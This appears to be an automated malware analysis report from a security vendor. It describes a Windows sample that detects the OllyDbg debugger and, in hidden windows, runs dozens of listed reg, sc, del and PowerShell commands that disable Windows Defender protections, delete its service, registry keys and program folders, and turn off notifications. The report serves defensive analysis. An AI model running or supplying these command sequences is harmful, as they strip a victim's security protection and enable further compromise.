Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Searches for windows to
detect analytical utilities:
- ClassName: 'OLLYDBG', WindowName: ''
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C DEL /F /S /Q "%PROGRAMDATA%\Microsoft\Windows Defender"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /va /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{D8559EB9-20C0-410E-BEDA-7ED416AECC2A}" /va /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C sc delete windefend' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C sc stop windefend' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C sc config WinDefend start= disabled' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d 1 /f' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C Powershell Set-MpPreference -DisableRealtimeMonitoring $true' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C DEL /F /S /Q "%ProgramFiles(x86)%\Windows Defender"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C DEL /F /S /Q "%ProgramFiles%\Windows Defender"' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C sc config WinDefend start= disabled
- '%WINDIR%\syswow64\sc.exe' config WinDefend start= disabled
- '%WINDIR%\syswow64\cmd.exe' /C sc stop windefend
- '%WINDIR%\syswow64\sc.exe' stop windefend
- '%WINDIR%\syswow64\cmd.exe' /C sc delete windefend
- '%WINDIR%\syswow64\sc.exe' delete windefend
- '%WINDIR%\syswow64\cmd.exe' /C REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{D8559EB9-20C0-410E-BEDA-7ED416AECC2A}" /va /f
- '%WINDIR%\syswow64\reg.exe' DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{D8559EB9-20C0-410E-BEDA-7ED416AECC2A}" /va /f
- '%WINDIR%\syswow64\cmd.exe' /C REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /va /f
- '%WINDIR%\syswow64\reg.exe' DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /va /f
- '%WINDIR%\syswow64\cmd.exe' /C DEL /F /S /Q "%PROGRAMDATA%\Microsoft\Windows Defender"
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C DEL /F /S /Q "%ProgramFiles(x86)%\Windows Defender"
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C Powershell Set-MpPreference -DisableRealtimeMonitoring $true
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableRealtimeMonitoring $true
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRoutinelyTakingAction" /t "REG_DWORD" /d 1 /f
- '%WINDIR%\syswow64\cmd.exe' /C DEL /F /S /Q "%ProgramFiles%\Windows Defender"
